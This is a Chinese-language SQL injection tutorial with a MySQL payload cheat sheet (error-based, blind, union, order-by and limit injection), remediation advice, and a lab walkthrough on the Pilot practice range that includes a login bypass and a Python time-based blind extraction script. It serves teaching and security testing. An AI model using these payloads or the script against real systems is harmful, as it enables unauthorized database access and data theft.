理论基础
-
什么是SQL注入
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
-
产生SQL注入的主要原因
1、在编写时未对用户提交至服务器的数据进行合法性校验(类型、长度、业务参数合法性、敏感字符等)。
2、未对用户可控参数进行足够的过滤便将参数内容直接以拼接的方式进入到SQL语句中。
-
常见的注入数据库
Mysql、Mssql(Sql Server)、Oracle、PostgreSql
-
通用注入手法
联合查询、报错注入、布尔盲注、时间盲注、堆叠查询、宽字节注入、二次注入……
-
通用注入点测试
类型 语句和结果 特殊字符测试 id=')") ==> 抛出异常 逻辑运算测试 id=’ and 23 = 6 – ==> True
id=’ and 23 = 5 – ==> False
id=2*3 ==> 是否返回id=6相关的内容
id=1/1 ==> True
id=1/0 ==> False或者异常延时注入测试 id=’ and sleep(5) ==> 延时5秒甚至更久
需要根据特定的数据库函数来判断,见时间盲注
- Mysql数据库特征
-
常见代码与Mysql的组合:php+mysql;Java+mysql;python+mysql
-
默认端口信息:3306
-
数据库特有函数:
- len和length:在mssql和mysql中,返回长度值是调用len()函数,在oracle中则是通过length()来返回长度值。
- @@version和version():在mysql内,可以用@@version或是version()来返回当前的版本信息。如果出现提示version()错误时,则可能是mssql。
- 其他:connection_id();last_insert_id();row_count()
-
返回的错误类型:
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '...' at line ...`
-
查询特有表:
?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1
-
补充:
- 注释符:#;%23;-- ;–+;/**/(注意mysql使用-- 时需要后面添加空格)
- 全局变量:@@VERSION;@@HOSTNAME
- 测试函数:USER();DATABASE();VERSION()
- 判断:IF;CASE…WEHN…(THEN…ELSE)…END;NULLIF
-
-
测试Payload(以字符型注入为例)
###### 测试字段数 1' order by 3--+ ###### 数据库名相关 1' and length(database()) > 7 --+ 1' and ascii(substr(database(),1,1))>97--+ ###### 报错注入 1. updatexml(>=5.1.5) ?id=1' and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1 2. extractvalue())(>=5.1.5) ?id=1' and extractvalue(1,concat(0x7e,(select database()))) and '1'='1 3. exp()(<=5.5.52) ?id=1' and exp(~(select * from (select version())x)) and '1'='1 4. count(*),rand(),group by ?id=1' AND (SELECT 1 from(SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)as y) -- - 5. GTID相关函数()(>=5.7) ?id=1' AND (SELECT 1 from(select GTID_SUBSET(user(),1)))--+ ?id=1' AND (SELECT 1 from(select GTID_SUBTRACT(user(),1)))--+ 6.ST相关函数()(>=5.7) ?id=1' AND (SELECT 1 from(select ST_LatFromGeoHash(version())))--+ ?id=1' AND (SELECT 1 from(select ST_LongFromGeoHash(version())))--+ ?id=1' AND (SELECT 1 from(select ST_PointFromGeoHash(version(),0)))--+ 7. BIGINT ?id=1' AND !(select * from(select user())a)-~0 --+ 8. uuid相关函数(>=8.0) ?id=1' AND (SELECT 1 from(select uuid_to_bin(version())))--+ ?id=1' AND (SELECT 1 from(select bin_to_uuid(version())))--+ ###### 延时注入/盲注 1. sleep() ?id=1' and sleep(5)--+ 2. benchmark() ?id=1' and benchmark(50000000,md5('a'))--+ 3. 时间盲注数据库名 ?id=1' and if(substr((select database()),1,1) = 's', sleep(5), 0) --+ 1' and if(substr((select database()),1,1) = 's', benchmark(50000000,md5('a')), 0) --+ ###### 联合注入 -1' union select 1,(select version()),database() --+ ###### limit注入点: select * from user limit 1 into @,@; #其中@为mysql的临时变量 select * from aaa limit 1,1 union select version() select * from aaa limit 1,1 procedure analyse (extractvalue(rand(),concat(0x3a,version())),1) ###### orderby注入: order by rand(1=1)/order by rand(1=2) order by 9999 order by sleep(2) order by xxx(跟语句进行报错注入或跟if进行盲注)
- SQL注入笔记
- SQL注入的危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
- 修复建议
-
代码层面
-
对输入进行严格的转义和过滤
-
使用参数化查询和PDO预处理
-
-
数据库层面
- 最小权限原则
- 禁用敏感函数和高危函数
- 统一网站与数据库的编码
-
其他层面
- 使用WAF、IPS等监测设备
- 统一报错信息,防止数据库报错
-
实践学习
漏洞环境以Pilot靶场为例:下载地址与部署教程
-
进入漏洞页面,随意登录,并抓取登录数据包:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
对登录时通常不会进行加密存储的
username
参数进行Sql注入测试:- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,语法错误。
- 此时的Sql语句为:
-
可以发现后端数据库产生报错。此处为登录接口,回显点为
username
,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。 -
首先进行联合查询测试,尝试查询数据库名称:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT database()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
-
其次进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,--
是注释符。
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and substr(database(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
尝试是否可以进行延时注入,对数据库进行5秒延时:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and sleep(5))-- 'AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:
import requests import time url = 'URL网址' flag = '' for i in range(1,1000): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload = f"admin' and if(ascii(substr(database(),{i},1))>{mid},sleep(3),1))-- " data = { "username":payload, "password":'1' } last = int(time.time()) response = requests.post(url, data = data) now = int(time.time()) if now - last > 1 : low = mid + 1 else : high = mid mid = (low + high) // 2 if low != 32 : flag += chr(int(low)) else: break print(flag)
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin' and if(ascii(substr(database(),1,1))>97,sleep(3),1))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
- 此时的Sql语句为:
-
因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:
- 此时的Sql语句为:
SELECT USERNAME FROM USER WHERE (USERNAME = 'admin'and updatexml(0x7e,concat(0x7e, (select database())),0x7e) and '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')
,会报错出数据库名。
- 此时的Sql语句为:
-
除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。